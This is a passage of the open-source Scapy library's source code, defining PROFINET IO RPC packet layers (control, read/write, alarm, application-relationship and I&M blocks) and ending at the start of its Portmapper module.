self.payload_length() return s[:length], s[length:] def payload_length(self): """ A function for each block, to determine the length of the payload """ return 0 # default, no payload # Specific Block Packets # IODControlRe{q,s} class IODControlReq(Block): """IODControl request block""" fields_desc = [ BlockHeader, StrFixedLenField("padding", "", length=2), UUIDField("ARUUID", None), ShortField("SessionKey", 0), XShortField("AlarmSequenceNumber", 0), # ControlCommand BitField("ControlCommand_reserved", 0, 9), BitField("ControlCommand_PrmBegin", 0, 1), BitField("ControlCommand_ReadyForRT_CLASS_3", 0, 1), BitField("ControlCommand_ReadyForCompanion", 0, 1), BitField("ControlCommand_Done", 0, 1), BitField("ControlCommand_Release", 0, 1), BitField("ControlCommand_ApplicationReady", 0, 1), BitField("ControlCommand_PrmEnd", 0, 1), XShortField("ControlBlockProperties", 0) ] def post_build(self, p, pay): # Try to find the right block type if self.block_type is None: if self.ControlCommand_PrmBegin: p = struct.pack("!H", 0x0118) + p[2:] elif self.ControlCommand_ReadyForRT_CLASS_3: p = struct.pack("!H", 0x0117) + p[2:] elif self.ControlCommand_ReadyForCompanion: p = struct.pack("!H", 0x0116) + p[2:] elif self.ControlCommand_Release: p = struct.pack("!H", 0x0114) + p[2:] elif self.ControlCommand_ApplicationReady: if self.AlarmSequenceNumber > 0: p = struct.pack("!H", 0x0113) + p[2:] else: p = struct.pack("!H", 0x0112) + p[2:] elif self.ControlCommand_PrmEnd: if self.AlarmSequenceNumber > 0: p = struct.pack("!H", 0x0111) + p[2:] else: p = struct.pack("!H", 0x0110) + p[2:] return Block.post_build(self, p, pay) def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IODControlRes() for field in ["ARUUID", "SessionKey", "AlarmSequenceNumber"]: res.setfieldval(field, self.getfieldval(field)) res.block_type = self.block_type + 0x8000 return res class IODControlRes(Block): """IODControl response block""" fields_desc = [ BlockHeader, StrFixedLenField("padding", "", length=2), UUIDField("ARUUID", None), ShortField("SessionKey", 0), XShortField("AlarmSequenceNumber", 0), # ControlCommand BitField("ControlCommand_reserved", 0, 9), BitField("ControlCommand_PrmBegin", 0, 1), BitField("ControlCommand_ReadyForRT_CLASS_3", 0, 1), BitField("ControlCommand_ReadyForCompanion", 0, 1), BitField("ControlCommand_Done", 1, 1), BitField("ControlCommand_Release", 0, 1), BitField("ControlCommand_ApplicationReady", 0, 1), BitField("ControlCommand_PrmEnd", 0, 1), XShortField("ControlBlockProperties", 0) ] # default block_type value block_type = 0x8110 # The block_type can be among 0x8110 to 0x8118 except 0x8115 # The right type is however determine by the type of the request # (same type as the request + 0x8000) # IODWriteRe{q,s} class IODWriteReq(Block): """IODWrite request block""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0), XShortField("slotNumber", 0), XShortField("subslotNumber", 0), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), LenField("recordDataLength", None, fmt="I"), StrFixedLenField("RWPadding", "", length=24), ] # default block_type value block_type = 0x0008 def payload_length(self): return self.recordDataLength def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IODWriteRes() for field in ["seqNum", "ARUUID", "API", "slotNumber", "subslotNumber", "index"]: res.setfieldval(field, self.getfieldval(field)) return res class IODWriteRes(Block): """IODWrite response block""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0), XShortField("slotNumber", 0), XShortField("subslotNumber", 0), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), LenField("recordDataLength", None, fmt="I"), XShortField("additionalValue1", 0), XShortField("additionalValue2", 0), IntEnumField("status", 0, ["OK"]), StrFixedLenField("RWPadding", "", length=16), ] # default block_type value block_type = 0x8008 # IODReadRe{q,s} class IODReadReq(Block): """IODRead request block""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0), XShortField("slotNumber", 0), XShortField("subslotNumber", 0), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), LenField("recordDataLength", None, fmt="I"), StrFixedLenField("RWPadding", "", length=24), ] block_type = 0x0009 def payload_length(self): return self.recordDataLength def get_response(self): res = IODReadRes() for field in ["seqNum", "ARUUID", "API", "slotNumber", "subslotNumber", "index"]: res.setfieldval(field, self.getfieldval(field)) return res class IODReadRes(Block): """IODRead response block""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0), XShortField("slotNumber", 0), XShortField("subslotNumber", 0), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), LenField("recordDataLength", None, fmt="I"), XShortField("additionalValue1", 0), XShortField("additionalValue2", 0), StrFixedLenField("RWPadding", "", length=20), ] block_type = 0x8009 F_PARAMETERS_BLOCK_ID = [ "No_F_WD_Time2_No_F_iPar_CRC", "No_F_WD_Time2_F_iPar_CRC", "F_WD_Time2_No_F_iPar_CRC", "F_WD_Time2_F_iPar_CRC", "reserved_4", "reserved_5", "reserved_6", "reserved_7" ] class FParametersBlock(Packet): """F-Parameters configuration block""" name = "F-Parameters Block" fields_desc = [ # F_Prm_Flag1 BitField("F_Prm_Flag1_Reserved_7", 0, 1), BitField("F_CRC_Seed", 0, 1), BitEnumField("F_CRC_Length", 0, 2, ["CRC-24", "depreciated", "CRC-32", "reserved"]), BitEnumField("F_SIL", 2, 2, ["SIL_1", "SIL_2", "SIL_3", "No_SIL"]), BitField("F_Check_iPar", 0, 1), BitField("F_Check_SeqNr", 0, 1), # F_Prm_Flag2 BitEnumField("F_Par_Version", 1, 2, ["V1", "V2", "reserved_2", "reserved_3"]), BitEnumField("F_Block_ID", 0, 3, F_PARAMETERS_BLOCK_ID), BitField("F_Prm_Flag2_Reserved", 0, 2), BitField("F_Passivation", 0, 1), XShortField("F_Source_Add", 0), XShortField("F_Dest_Add", 0), ShortField("F_WD_Time", 0), ConditionalField( cond=lambda p: p.getfieldval("F_Block_ID") & 0b110 == 0b010, fld=ShortField("F_WD_Time_2", 0)), ConditionalField( cond=lambda p: p.getfieldval("F_Block_ID") & 0b101 == 0b001, fld=XIntField("F_iPar_CRC", 0)), XShortField("F_Par_CRC", 0) ] overload_fields = { IODWriteReq: { "index": 0x100, # commonly used index for F-Parameters block } } bind_layers(IODWriteReq, FParametersBlock, index=0x0100) bind_layers(FParametersBlock, conf.padding_layer) # IODWriteMultipleRe{q,s} class PadFieldWithLen(PadField): """PadField which handles the i2len function to include padding""" def i2len(self, pkt, val): """get the length of the field, including the padding length""" fld_len = self.fld.i2len(pkt, val) return fld_len + self.padlen(fld_len, pkt) class IODWriteMultipleReq(Block): """IODWriteMultiple request""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0xffffffff), XShortField("slotNumber", 0xffff), XShortField("subslotNumber", 0xffff), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), FieldLenField("recordDataLength", None, fmt="I", length_of="blocks"), StrFixedLenField("RWPadding", "", length=24), FieldListField("blocks", [], PadFieldWithLen(PacketField("", None, IODWriteReq), 4), length_from=lambda pkt: pkt.recordDataLength) ] # default values block_type = 0x0008 index = 0xe040 API = 0xffffffff slotNumber = 0xffff subslotNumber = 0xffff def post_build(self, p, pay): # patch the update of block_length, as requests field must not be # included. block_length is always 60 if self.block_length is None: p = p[:2] + struct.pack("!H", 60) + p[4:] # Remove the final padding added in requests fld, val = self.getfield_and_val("blocks") if fld.i2count(self, val) > 0: length = len(val[-1]) pad = fld.field.padlen(length, self) if pad > 0: p = p[:-pad] # also reduce the recordDataLength accordingly if self.recordDataLength is None: val = struct.unpack("!I", p[36:40])[0] val -= pad p = p[:36] + struct.pack("!I", val) + p[40:] return Packet.post_build(self, p, pay) def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IODWriteMultipleRes() for field in ["seqNum", "ARUUID", "API", "slotNumber", "subslotNumber", "index"]: res.setfieldval(field, self.getfieldval(field)) # append all block response res_blocks = [] for block in self.getfieldval("blocks"): res_blocks.append(block.get_response()) res.setfieldval("blocks", res_blocks) return res class IODWriteMultipleRes(Block): """IODWriteMultiple response""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0xffffffff), XShortField("slotNumber", 0xffff), XShortField("subslotNumber", 0xffff), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), FieldLenField("recordDataLength", None, fmt="I", length_of="blocks"), XShortField("additionalValue1", 0), XShortField("additionalValue2", 0), IntEnumField("status", 0, ["OK"]), StrFixedLenField("RWPadding", "", length=16), FieldListField("blocks", [], PacketField("", None, IODWriteRes), length_from=lambda pkt: pkt.recordDataLength) ] # default values block_type = 0x8008 index = 0xe040 def post_build(self, p, pay): # patch the update of block_length, as requests field must not be # included. block_length is always 60 if self.block_length is None: p = p[:2] + struct.pack("!H", 60) + p[4:] return Packet.post_build(self, p, pay) # I&M0 class IM0Block(Block): """Identification and Maintenance 0""" fields_desc = [ BlockHeader, ByteField("VendorIDHigh", 0x00), ByteField("VendorIDLow", 0x00), StrFixedLenField("OrderID", "", length=20), StrFixedLenField("IMSerialNumber", "", length=16), ShortField("IMHardwareRevision", 0), StrFixedLenField("IMSWRevisionPrefix", "V", length=1), ByteField("IMSWRevisionFunctionalEnhancement", 0), ByteField("IMSWRevisionBugFix", 0), ByteField("IMSWRevisionInternalChange", 0), ShortField("IMRevisionCounter", 0), ShortField("IMProfileID", 0), ShortField("IMProfileSpecificType", 0), ByteField("IMVersionMajor", 1), ByteField("IMVersionMinor", 1), ShortField("IMSupported", 0x0), ] block_type = 0x0020 # I&M1 class IM1Block(Block): """Identification and Maintenance 1""" fields_desc = [ BlockHeader, StrFixedLenField("IMTagFunction", "", length=32), StrFixedLenField("IMTagLocation", "", length=22), ] block_type = 0x0021 # I&M2 class IM2Block(Block): """Identification and Maintenance 2""" fields_desc = [ BlockHeader, StrFixedLenField("IMDate", "", length=16), ] block_type = 0x0022 # I&M3 class IM3Block(Block): """Identification and Maintenance 3""" fields_desc = [ BlockHeader, StrFixedLenField("IMDescriptor", "", length=54), ] block_type = 0x0023 # I&M4 class IM4Block(Block): """Identification and Maintenance 4""" fields_desc = [ BlockHeader, StrFixedLenField("IMSignature", "", 54) ] block_type = 0x0024 # ARBlockRe{q,s} class ARBlockReq(Block): """Application relationship block request""" fields_desc = [ BlockHeader, XShortEnumField("ARType", 1, AR_TYPE), UUIDField("ARUUID", None), ShortField("SessionKey", 0), MACField("CMInitiatorMacAdd", None), UUIDField("CMInitiatorObjectUUID", None), # ARProperties BitField("ARProperties_PullModuleAlarmAllowed", 0, 1), BitEnumField("ARProperties_StartupMode", 0, 1, ["Legacy", "Advanced"]), BitField("ARProperties_reserved_3", 0, 6), BitField("ARProperties_reserved_2", 0, 12), BitField("ARProperties_AcknowledgeCompanionAR", 0, 1), BitEnumField("ARProperties_CompanionAR", 0, 2, ["Single_AR", "First_AR", "Companion_AR", "reserved"]), BitEnumField("ARProperties_DeviceAccess", 0, 1, ["ExpectedSubmodule", "Controlled_by_IO_device_app"]), BitField("ARProperties_reserved_1", 0, 3), BitEnumField("ARProperties_ParametrizationServer", 0, 1, ["External_PrmServer", "CM_Initator"]), BitField("ARProperties_SupervisorTakeoverAllowed", 0, 1), BitEnumField("ARProperties_State", 1, 3, {1: "Active"}), ShortField("CMInitiatorActivityTimeoutFactor", 1000), ShortField("CMInitiatorUDPRTPort", 0x8892), FieldLenField("StationNameLength", None, fmt="H", length_of="CMInitiatorStationName"), StrLenField("CMInitiatorStationName", "", length_from=lambda pkt: pkt.StationNameLength), ] # default block_type value block_type = 0x0101 def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = ARBlockRes() for field in ["ARType", "ARUUID", "SessionKey"]: res.setfieldval(field, self.getfieldval(field)) return res class ARBlockRes(Block): """Application relationship block response""" fields_desc = [ BlockHeader, XShortEnumField("ARType", 1, AR_TYPE), UUIDField("ARUUID", None), ShortField("SessionKey", 0), MACField("CMResponderMacAdd", None), ShortField("CMResponderUDPRTPort", 0x8892), ] # default block_type value block_type = 0x8101 # IOCRBlockRe{q,s} class IOCRAPIObject(Packet): """API item descriptor used in API description of IOCR blocks""" name = "API item" fields_desc = [ XShortField("SlotNumber", 0), XShortField("SubslotNumber", 0), ShortField("FrameOffset", 0), ] def extract_padding(self, s): return None, s # No extra payload class IOCRAPI(Packet): """API description used in IOCR block""" name = "API" fields_desc = [ XIntField("API", 0), FieldLenField("NumberOfIODataObjects", None, count_of="IODataObjects"), PacketListField("IODataObjects", [], IOCRAPIObject, count_from=lambda p: p.NumberOfIODataObjects), FieldLenField("NumberOfIOCS", None, count_of="IOCSs"), PacketListField("IOCSs", [], IOCRAPIObject, count_from=lambda p: p.NumberOfIOCS), ] def extract_padding(self, s): return None, s # No extra payload class IOCRBlockReq(Block): """IO Connection Relationship block request""" fields_desc = [ BlockHeader, XShortEnumField("IOCRType", 1, IOCR_TYPE), XShortField("IOCRReference", 1), XShortField("LT", 0x8892), # IOCRProperties BitField("IOCRProperties_reserved3", 0, 8), BitField("IOCRProperties_reserved2", 0, 11), BitField("IOCRProperties_reserved1", 0, 9), BitEnumField("IOCRProperties_RTClass", 0, 4, IOCR_BLOCK_REQ_IOCR_PROPERTIES), ShortField("DataLength", 40), XShortField("FrameID", 0x8000), ShortField("SendClockFactor", 32), ShortField("ReductionRatio", 32), ShortField("Phase", 1), ShortField("Sequence", 0), XIntField("FrameSendOffset", 0xffffffff), ShortField("WatchdogFactor", 10), ShortField("DataHoldFactor", 10), # IOCRTagHeader BitEnumField("IOCRTagHeader_IOUserPriority", 6, 3, {6: "IOCRPriority"}), BitField("IOCRTagHeader_reserved", 0, 1), BitField("IOCRTagHeader_IOCRVLANID", 0, 12), MACField("IOCRMulticastMACAdd", None), FieldLenField("NumberOfAPIs", None, fmt="H", count_of="APIs"), PacketListField("APIs", [], IOCRAPI, count_from=lambda p: p.NumberOfAPIs) ] # default block_type value block_type = 0x0102 def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IOCRBlockRes() for field in ["IOCRType", "IOCRReference", "FrameID"]: res.setfieldval(field, self.getfieldval(field)) return res class IOCRBlockRes(Block): """IO Connection Relationship block response""" fields_desc = [ BlockHeader, XShortEnumField("IOCRType", 1, IOCR_TYPE), XShortField("IOCRReference", 1), XShortField("FrameID", 0x8000), ] # default block_type value block_type = 0x8102 class AdjustLinkState(Block): fields_desc = [ BlockHeader, StrFixedLenField("padding", "", length=2), XShortEnumField("LinkState", 0, LINKSTATE_LINK), ShortField("AdjustProperties", 0) ] block_type = 0x021B class AdjustPeerToPeerBoundary(Block): fields_desc = [ BlockHeader, StrFixedLenField("padding1", "", length=2), IntField("peerToPeerBoundary", 0), ShortField("adjustProperties", 0), PadField(ShortField("padding2", 0), 2), ] block_type = 0x0224 class AdjustDomainBoundary(Block): fields_desc = [ BlockHeader, StrFixedLenField("padding1", "", length=2), IntEnumField("DomainBoundaryIngress", 0, { 0x00: "No Block", 0x01: "Block", }), IntEnumField("DomainBoundaryEgress", 0, { 0x00: "No Block", 0x01: "Block", }), ShortField("adjustProperties", 0), PadField(ShortField("padding2", 0), 2) ] block_type = 0x0209 class AdjustMulticastBoundary(Block): fields_desc = [ BlockHeader, StrFixedLenField("padding1", "", length=2), IntField("MulticastAddress", 0), ShortField("adjustProperties", 0), PadField(ShortField("padding2", 0), 2) ] block_type = 0x0210 class AdjustMauType(Block): fields_desc = [ BlockHeader, PadField(ShortField("padding", 0), 2), XShortEnumField("MAUType", 1, MAU_TYPE), ShortField("adjustProperties", 0), ] block_type = 0x020E class AdjustMauTypeExtension(Block): fields_desc = [ BlockHeader, PadField(ShortField("padding", 0), 2), XShortEnumField("MAUTypeExtension", 0, MAU_EXTENSION), ShortField("adjustProperties", 0), ] block_type = 0x0229 class AdjustDCPBoundary(Block): fields_desc = [ BlockHeader, StrFixedLenField("padding1", "", length=2), IntField("dcpBoundary", 0), ShortField("adjustProperties", 0), PadField(ShortField("padding2", 0), 2), ] block_type = 0x0225 PDPORT_ADJUST_BLOCK_ASSOCIATION = { 0x0209: AdjustDomainBoundary, 0x020e: AdjustMauType, 0x0210: AdjustMulticastBoundary, 0x021b: AdjustLinkState, 0x0224: AdjustPeerToPeerBoundary, 0x0225: AdjustDCPBoundary, 0x0229: AdjustMauTypeExtension, } def _guess_pdportadjust_block(_pkt, *args, **kargs): cls = Block btype = struct.unpack("!H", _pkt[:2])[0] if btype in PDPORT_ADJUST_BLOCK_ASSOCIATION: cls = PDPORT_ADJUST_BLOCK_ASSOCIATION[btype] return cls(_pkt, *args, **kargs) class PDPortDataAdjust(Block): fields_desc = [ BlockHeader, StrFixedLenField("padding", "", length=2), XShortField("slotNumber", 0), XShortField("subslotNumber", 0), PacketListField("blocks", [], _guess_pdportadjust_block, length_from=lambda p: p.block_length) ] block_type = 0x0202 # ExpectedSubmoduleBlockReq class ExpectedSubmoduleDataDescription(Packet): """Description of the data of a submodule""" name = "Data Description" fields_desc = [ XShortEnumField("DataDescription", 0, {1: "Input", 2: "Output"}), ShortField("SubmoduleDataLength", 0), ByteField("LengthIOCS", 0), ByteField("LengthIOPS", 0), ] def extract_padding(self, s): return None, s # No extra payload class ExpectedSubmodule(Packet): """Description of a submodule in an API of an expected submodule""" name = "Submodule" fields_desc = [ XShortField("SubslotNumber", 0), XIntField("SubmoduleIdentNumber", 0), # Submodule Properties XByteField("SubmoduleProperties_reserved_2", 0), BitField("SubmoduleProperties_reserved_1", 0, 2), BitField("SubmoduleProperties_DiscardIOXS", 0, 1), BitField("SubmoduleProperties_ReduceOutputSubmoduleDataLength", 0, 1), BitField("SubmoduleProperties_ReduceInputSubmoduleDataLength", 0, 1), BitField("SubmoduleProperties_SharedInput", 0, 1), BitEnumField("SubmoduleProperties_Type", 0, 2, ["NO_IO", "INPUT", "OUTPUT", "INPUT_OUTPUT"]), PacketListField( "DataDescription", [], ExpectedSubmoduleDataDescription, count_from=lambda p: 2 if p.SubmoduleProperties_Type == 3 else 1 ), ] def extract_padding(self, s): return None, s # No extra payload class ExpectedSubmoduleAPI(Packet): """Description of an API in the expected submodules blocks""" name = "API" fields_desc = [ XIntField("API", 0), XShortField("SlotNumber", 0), XIntField("ModuleIdentNumber", 0), XShortField("ModuleProperties", 0), FieldLenField("NumberOfSubmodules", None, fmt="H", count_of="Submodules"), PacketListField("Submodules", [], ExpectedSubmodule, count_from=lambda p: p.NumberOfSubmodules), ] def extract_padding(self, s): return None, s # No extra payload class ExpectedSubmoduleBlockReq(Block): """Expected submodule block request""" fields_desc = [ BlockHeader, FieldLenField("NumberOfAPIs", None, fmt="H", count_of="APIs"), PacketListField("APIs", [], ExpectedSubmoduleAPI, count_from=lambda p: p.NumberOfAPIs) ] # default block_type value block_type = 0x0104 def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ return None # no response associated (should be modulediffblock) ALARM_CR_TYPE = { 0x0001: "AlarmCR", } ALARM_CR_TRANSPORT = { 0x0: "RTA_CLASS_1", 0x1: "RTA_CLASS_UDP" } class AlarmCRBlockReq(Block): """Alarm CR block request""" fields_desc = [ BlockHeader, XShortEnumField("AlarmCRType", 1, ALARM_CR_TYPE), ShortField("LT", 0x8892), BitField("AlarmCRProperties_Priority", 0, 1), BitEnumField("AlarmCRProperties_Transport", 0, 1, ALARM_CR_TRANSPORT), BitField("AlarmCRProperties_Reserved1", 0, 22), BitField("AlarmCRProperties_Reserved2", 0, 8), ShortField("RTATimeoutFactor", 0x0001), ShortField("RTARetries", 0x0003), ShortField("LocalAlarmReference", 0x0003), ShortField("MaxAlarmDataLength", 0x00C8), ShortField("AlarmCRTagHeaderHigh", 0xC000), ShortField("AlarmCRTagHeaderLow", 0xA000), ] # default block_type value block_type = 0x0103 def post_build(self, p, pay): # Set the LT based on transport if self.AlarmCRProperties_Transport == 0x1: p = p[:8] + struct.pack("!H", 0x0800) + p[10:] return Block.post_build(self, p, pay) def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = AlarmCRBlockRes() for field in ["AlarmCRType", "LocalAlarmReference"]: res.setfieldval(field, self.getfieldval(field)) res.block_type = self.block_type + 0x8000 return res class AlarmCRBlockRes(Block): fields_desc = [ BlockHeader, XShortEnumField("AlarmCRType", 1, ALARM_CR_TYPE), ShortField("LocalAlarmReference", 0), ShortField("MaxAlarmDataLength", 0) ] # default block_type value block_type = 0x8103 class AlarmItem(Packet): fields_desc = [ XShortField("UserStructureIdentifier", 0), PacketField("load", "", Raw), ] def extract_padding(self, s): return None, s # No extra payload class MaintenanceItem(AlarmItem): fields_desc = [ XShortField("UserStructureIdentifier", 0), BlockHeader, StrFixedLenField("padding", "", length=2), XIntField("MaintenanceStatus", 0), ] class DiagnosisItem(AlarmItem): fields_desc = [ XShortField("UserStructureIdentifier", 0), XShortField("ChannelNumber", 0), XShortField("ChannelProperties", 0), XShortField("ChannelErrorType", 0), ConditionalField( cond=lambda p: p.getfieldval("UserStructureIdentifier") in [ 0x8002, 0x8003], fld=XShortField("ExtChannelErrorType", 0)), ConditionalField( cond=lambda p: p.getfieldval("UserStructureIdentifier") in [ 0x8002, 0x8003], fld=XIntField("ExtChannelAddValue", 0)), ConditionalField( cond=lambda p: p.getfieldval("UserStructureIdentifier") == 0x8003, fld=XIntField("QualifiedChannelQualifier", 0)), ] class UploadRetrievalItem(AlarmItem): fields_desc = [ XShortField("UserStructureIdentifier", 0), BlockHeader, StrFixedLenField("padding", "", length=2), XIntField("URRecordIndex", 0), XIntField("URRecordLength", 0), ] class iParameterItem(AlarmItem): fields_desc = [ XShortField("UserStructureIdentifier", 0), BlockHeader, StrFixedLenField("padding", "", length=2), XIntField("iPar_Req_Header", 0), XIntField("Max_Segm_Size", 0), XIntField("Transfer_Index", 0), XIntField("Total_iPar_Size", 0), ] PE_OPERATIONAL_MODE = { 0x00: "PE_PowerOff", 0xF0: "PE_Operate", 0xFE: "PE_SleepModeWOL", 0xFF: "PE_ReadyToOperate", } PE_OPERATIONAL_MODE.update({i: "PE_EnergySavingMode_{}".format(i) for i in range(0x1, 0x20)}) PE_OPERATIONAL_MODE.update({i: "Reserved" for i in range(0x20, 0xF0)}) PE_OPERATIONAL_MODE.update({i: "Reserved" for i in range(0xF1, 0xFE)}) class PE_AlarmItem(AlarmItem): fields_desc = [ XShortField("UserStructureIdentifier", 0), BlockHeader, ByteEnumField("PE_OperationalMode", 0, PE_OPERATIONAL_MODE), ] class RS_AlarmItem(AlarmItem): fields_desc = [ XShortField("UserStructureIdentifier", 0), XShortField("RS_AlarmInfo", 0), ] class PRAL_AlarmItem(AlarmItem): fields_desc = [ XShortField("UserStructureIdentifier", 0), XShortField("ChannelNumber", 0), XShortField("PRAL_ChannelProperties", 0), XShortField("PRAL_Reason", 0), XShortField("PRAL_ExtReason", 0), StrLenField("PRAL_ReasonAddValue", "", length_from=lambda x:x.len - 10), ] PNIO_RPC_ALARM_ASSOCIATION = { "8000": DiagnosisItem, "8002": DiagnosisItem, "8003": DiagnosisItem, "8100": MaintenanceItem, "8200": UploadRetrievalItem, "8201": iParameterItem, "8300": RS_AlarmItem, "8301": RS_AlarmItem, "8302": RS_AlarmItem, # "8303": RS_AlarmItem, "8310": PE_AlarmItem, "8320": PRAL_AlarmItem, } def _guess_alarm_payload(_pkt, *args, **kargs): cls = AlarmItem btype = bytes_hex(_pkt[:2]).decode("utf8") if btype in PNIO_RPC_ALARM_ASSOCIATION: cls = PNIO_RPC_ALARM_ASSOCIATION[btype] return cls(_pkt, *args, **kargs) class AlarmNotificationPDU(Block): fields_desc = [ # IEC-61158-6-10:2021, Table 513 BlockHeader, ShortField("AlarmType", 0), XIntField("API", 0), ShortField("SlotNumber", 0), ShortField("SubslotNumber", 0), XIntField("ModuleIdentNumber", 0), XIntField("SubmoduleIdentNUmber", 0), XShortField("AlarmSpecifier", 0), PacketListField("AlarmPayload", [], _guess_alarm_payload) ] class AlarmNotification_High(AlarmNotificationPDU): block_type = 0x0001 class AlarmNotification_Low(AlarmNotificationPDU): block_type = 0x0002 PDU_TYPE_TYPE = { 0x01: "RTA_TYPE_DATA", 0x02: "RTA_TYPE_NACK", 0x03: "RTA_TYPE_ACK", 0x04: "RTA_TYPE_ERR", 0x05: "RTA_TYPE_FREQ", 0x06: "RTA_TYPE_FRSP", } PDU_TYPE_TYPE.update({i: "Reserved" for i in range(0x07, 0x10)}) PDU_TYPE_VERSION = { 0x00: "Reserved", 0x01: "Version 1", 0x02: "Version 2", } PDU_TYPE_VERSION.update({i: "Reserved" for i in range(0x03, 0x10)}) class PNIORealTimeAcyclicPDUHeader(Packet): fields_desc = [ # IEC-61158-6-10:2021, Table 241 ShortField("AlarmDstEndpoint", 0), ShortField("AlarmSrcEndpoint", 0), BitEnumField("PDUTypeType", 0, 4, PDU_TYPE_TYPE), BitEnumField("PDUTypeVersion", 0, 4, PDU_TYPE_VERSION), BitField("AddFlags", 0, 8), XShortField("SendSeqNum", 0), XShortField("AckSeqNum", 0), XShortField("VarPartLen", 0), ] def __new__(cls, name, bases, dct): raise NotImplementedError() class Alarm_Low(Packet): fields_desc = [ PNIORealTimeAcyclicPDUHeader, PacketField("RTA_SDU", None, AlarmNotification_Low), ] class Alarm_High(Packet): fields_desc = [ PNIORealTimeAcyclicPDUHeader, PacketField("RTA_SDU", None, AlarmNotification_High), ] # PROFINET IO DCE/RPC PDU PNIO_RPC_BLOCK_ASSOCIATION = { # I&M Records "0020": IM0Block, "0021": IM1Block, "0022": IM2Block, "0023": IM3Block, "0024": IM4Block, # requests "0101": ARBlockReq, "0102": IOCRBlockReq, "0103": AlarmCRBlockReq, "0104": ExpectedSubmoduleBlockReq, "0110": IODControlReq, "0111": IODControlReq, "0112": IODControlReq, "0113": IODControlReq, "0114": IODControlReq, "0116": IODControlReq, "0117": IODControlReq, "0118": IODControlReq, "0202": PDPortDataAdjust, # responses "8101": ARBlockRes, "8102": IOCRBlockRes, "8103": AlarmCRBlockRes, "8110": IODControlRes, "8111": IODControlRes, "8112": IODControlRes, "8113": IODControlRes, "8114": IODControlRes, "8116": IODControlRes, "8117": IODControlRes, "8118": IODControlRes, } def _guess_block_class(_pkt, *args, **kargs): cls = Block # Default block type # Special cases if _pkt[:2] == b'\x00\x08': # IODWriteReq if _pkt[34:36] == b'\xe0@': # IODWriteMultipleReq cls = IODWriteMultipleReq else: cls = IODWriteReq elif _pkt[:2] == b'\x00\x09': # IODReadReq cls = IODReadReq elif _pkt[:2] == b'\x80\x08': # IODWriteRes if _pkt[34:36] == b'\xe0@': # IODWriteMultipleRes cls = IODWriteMultipleRes else: cls = IODWriteRes elif _pkt[:2] == b'\x80\x09': # IODReadRes cls = IODReadRes # Common cases else: btype = bytes_hex(_pkt[:2]).decode("utf8") if btype in PNIO_RPC_BLOCK_ASSOCIATION: cls = PNIO_RPC_BLOCK_ASSOCIATION[btype] return cls(_pkt, *args, **kargs) def dce_rpc_endianness(pkt): """determine the symbol for the endianness of a the DCE/RPC""" try: endianness = pkt.underlayer.endian except AttributeError: # handle the case where a PNIO class is # built without its DCE-RPC under-layer # i.e there is no endianness indication return "!" if endianness == 0: # big endian return ">" elif endianness == 1: # little endian return "<" else: return "!" class NDRData(Packet): """Base NDRData to centralize some fields. It can't be instantiated""" fields_desc = [ EField( FieldLenField("args_length", None, fmt="I", length_of="blocks"), endianness_from=dce_rpc_endianness), EField( FieldLenField("max_count", None, fmt="I", length_of="blocks"), endianness_from=dce_rpc_endianness), EField( IntField("offset", 0), endianness_from=dce_rpc_endianness), EField( FieldLenField("actual_count", None, fmt="I", length_of="blocks"), endianness_from=dce_rpc_endianness), PacketListField("blocks", [], _guess_block_class, length_from=lambda p: p.args_length) ] def __new__(cls, name, bases, dct): raise NotImplementedError() class PNIOServiceReqPDU(Packet): """PNIO PDU for RPC Request""" fields_desc = [ EField( FieldLenField("args_max", None, fmt="I", length_of="blocks"), endianness_from=dce_rpc_endianness), NDRData, ] overload_fields = { DceRpc4: { # random object in the appropriate range "object": RandUUID("dea00000-6c97-11d1-8271-******"), # interface uuid to send to a device "if_id": RPC_INTERFACE_UUID["UUID_IO_DeviceInterface"], # Request DCE/RPC type "ptype": 0, }, } @classmethod def can_handle(cls, pkt, rpc): """heuristic guess_payload_class""" # type = 0 => request if rpc.ptype == 0 and \ str(rpc.object).startswith("dea00000-6c97-11d1-8271-"): return True return False DceRpc4Payload.register_possible_payload(PNIOServiceReqPDU) class PNIOServiceResPDU(Packet): """PNIO PDU for RPC Response""" fields_desc = [ EField(IntEnumField("status", 0, ["OK"]), endianness_from=dce_rpc_endianness), NDRData, ] overload_fields = { DceRpc4: { # random object in the appropriate range "object": RandUUID("dea00000-6c97-11d1-8271-******"), # interface uuid to send to a host "if_id": RPC_INTERFACE_UUID[ "UUID_IO_ControllerInterface"], # Request DCE/RPC type "ptype": 2, }, } @classmethod def can_handle(cls, pkt, rpc): """heuristic guess_payload_class""" # type = 2 => response if rpc.ptype == 2 and \ str(rpc.object).startswith("dea00000-6c97-11d1-8271-"): return True return False DceRpc4Payload.register_possible_payload(PNIOServiceResPDU) ================================================ FILE: scapy/contrib/portmap.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Lucas Preston # scapy.contrib.description = Portmapper v2 # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import IntField, PacketListField from scapy.contrib.oncrpc import 